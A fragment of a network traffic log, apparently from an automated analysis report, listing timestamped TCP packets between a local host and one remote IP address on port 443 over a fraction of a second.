May 1, 2024 08:37:52.403614044 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.403626919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.403626919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.403631926 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.403676987 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.403681993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.404680967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.404695988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.404699087 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.404728889 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.404732943 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.404756069 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.405412912 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.405433893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.405484915 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.405484915 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.405488968 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406203985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406219006 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406249046 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.406253099 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406280994 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.406431913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406447887 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.406471968 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.406476021 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408015966 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408032894 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408065081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.408071995 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408088923 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.408468008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408490896 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408512115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.408512115 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.408519983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408767939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408781052 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408812046 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.408816099 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.408833981 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.409502983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.409518957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.409545898 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.409545898 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.409554958 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.410118103 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.410137892 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.410155058 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.410167933 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.410172939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.410193920 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.411569118 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411591053 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411621094 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.411624908 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411725998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411740065 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411772966 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.411777973 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.411798954 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.412672997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.412692070 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.412722111 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.412725925 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.412741899 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.413110018 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.413127899 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.413161039 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.413161039 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.413167000 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414154053 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.414206982 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414227009 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414280891 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414294004 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414298058 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.414307117 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414386988 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.414392948 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.414402962 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.415287018 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.415306091 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.415332079 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.415337086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.415384054 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.415993929 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.416009903 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.416048050 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.416052103 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.416132927 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.416706085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.416721106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.416794062 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.416799068 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417282104 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417304039 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417341948 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.417346001 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417670012 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417689085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417723894 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.417727947 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.417749882 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.418153048 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.419365883 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.419379950 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.419446945 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.419452906 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.420377970 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.420398951 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.420454979 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.420464039 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.420485973 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.421289921 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.421302080 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.421334982 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.421343088 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.421386003 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.422977924 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.423003912 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.423055887 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.423062086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.424377918 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.424396992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.424454927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.424462080 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425337076 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425348997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425403118 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.425410986 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425642014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425662041 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.425681114 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.425735950 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.425735950 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.425743103 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.426960945 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.426983118 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427057981 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.427057981 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.427062035 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427220106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427237034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427273035 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.427278996 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427290916 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.427911043 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427925110 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427978039 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.427990913 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.428010941 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.428015947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.428037882 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.428045034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429076910 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429097891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429120064 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429142952 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429164886 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.429169893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429227114 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.429227114 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.429234028 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.429789066 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.430397034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.430416107 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.430454016 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.430460930 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.430485964 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.430568933 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.430584908 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.430656910 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.430656910 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.430661917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.431478977 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.431499004 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.431546926 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.431550980 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.431654930 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.432077885 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432110071 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432138920 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.432145119 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432157040 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.432476997 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432492971 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432562113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.432562113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.432566881 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432956934 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.432984114 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.433017969 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.433024883 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.433046103 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.433928967 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.433954000 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.433996916 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.434005976 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.434017897 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.434166908 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.434185982 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.434223890 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.434228897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.434510946 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.435221910 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435237885 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435309887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.435314894 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435630083 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435648918 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435683012 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.435689926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.435715914 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.436244011 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.436276913 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.436343908 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.436343908 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.436350107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.437284946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.437304020 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.437684059 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.437690020 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.438996077 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.439018011 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.439107895 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.439107895 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.439112902 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.439945936 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.439963102 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.440030098 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.440030098 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.440036058 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.440941095 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.440964937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.441010952 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.441015959 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.441051960 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.441051960 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.441888094 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.441909075 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.441982985 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.441982985 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.441987991 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.442192078 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.443556070 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.443578959 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.443639040 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.443643093 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.443664074 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.443711996 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.444525957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.444550991 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.444608927 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.444613934 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.444660902 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.444660902 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.445547104 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.445569038 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.445619106 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.445622921 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.445666075 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.445666075 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.446410894 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.446475029 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.446475029 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.446505070 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.446531057 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.446669102 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.446692944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.446763992 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.446763992 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.446768999 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.447021961 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.447341919 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.447381973 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.447407007 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.447415113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.447451115 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.448318958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448369980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448375940 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.448395014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448411942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448426962 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.448430061 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448481083 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.448484898 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.448522091 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.448534012 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.449415922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449446917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449467897 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449475050 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449517965 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.449523926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449528933 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.449532986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.449578047 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.449594975 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.449594975 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.450480938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.450498104 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.450577021 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.450581074 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.450596094 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.450676918 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.451152086 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451169968 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451241970 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.451246023 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451284885 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451327085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451333046 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.451350927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.451359034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.451380968 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.452282906 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.452330112 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.452354908 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.452359915 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.452384949 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.452886105 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.452905893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.452975988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.452980995 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.453025103 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.453294992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.453332901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.453361034 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.453368902 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.453389883 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.453990936 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454010963 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454118013 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.454123020 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454176903 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.454370022 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454417944 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454437017 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.454442978 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454515934 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.454907894 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.454938889 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.455136061 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.455140114 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.455240011 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.456221104 CEST	443	49750	172.67.215.45	192.168.2.4
